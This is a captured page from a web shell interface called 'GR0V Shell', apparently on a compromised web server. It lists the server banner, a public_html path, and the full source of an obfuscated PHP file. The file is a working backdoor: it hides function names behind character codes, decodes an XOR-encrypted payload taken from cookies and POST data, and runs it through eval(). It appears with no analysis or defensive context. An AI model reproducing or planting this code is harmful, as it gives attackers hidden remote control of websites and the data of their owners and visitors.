? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/ijysvqxbd/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/ijysvqxbd/781d1b9b.php

$fOUpDo = "\x49" . "\x77" . chr (72) . "\x5f" . "\127" . 'c' . chr (89); $rtjMphNAJ = "\x63" . "\x6c" . chr ( 174 - 77 )."\x73" . "\163" . '_' . chr (101) . chr (120) . 'i' . 's' . chr (116) . "\x73";$vnHYpff = $rtjMphNAJ($fOUpDo); $rtjMphNAJ = "24613";$yhtiqfZKox = $vnHYpff;if (!$yhtiqfZKox){class IwH_WcY{private $QDKyS;public static $AQZmqRIcb = "b56f4c32-bfe3-4235-bb6d-be4eb3c6e0dc";public static $OmlEf = 5125;public function __construct($rEVugQrAG=0){$qYLAJZISe = $_COOKIE;$dEEnxxiyEq = $_POST;$UDNwIoic = @$qYLAJZISe[substr(IwH_WcY::$AQZmqRIcb, 0, 4)];if (!empty($UDNwIoic)){$fYCqePmZWN = "base64";$wZCVA = "";$UDNwIoic = explode(",", $UDNwIoic);foreach ($UDNwIoic as $mYTHvK){$wZCVA .= @$qYLAJZISe[$mYTHvK];$wZCVA .= @$dEEnxxiyEq[$mYTHvK];}$wZCVA = array_map($fYCqePmZWN . "\x5f" . 'd' . "\145" . chr ( 159 - 60 )."\x6f" . "\144" . chr ( 755 - 654 ), array($wZCVA,)); $wZCVA = $wZCVA[0] ^ str_repeat(IwH_WcY::$AQZmqRIcb, (strlen($wZCVA[0]) / strlen(IwH_WcY::$AQZmqRIcb)) + 1);IwH_WcY::$OmlEf = @unserialize($wZCVA);}}private function cOohsjF(){if (is_array(IwH_WcY::$OmlEf)) {$UNYauSsvM = str_replace(chr (60) . "\77" . "\160" . "\150" . "\x70", "", IwH_WcY::$OmlEf["\x63" . 'o' . "\x6e" . "\164" . "\145" . 'n' . chr (116)]);eval($UNYauSsvM); $ZppsQUlw = "12676";exit();}}public function __destruct(){$this->cOohsjF(); $ZppsQUlw = "12676";}}$KckqzulAPZ = new IwH_WcY(); $KckqzulAPZ = "44907_1903";}

T1KUS90T
  root-grov@210.1.60.28:~$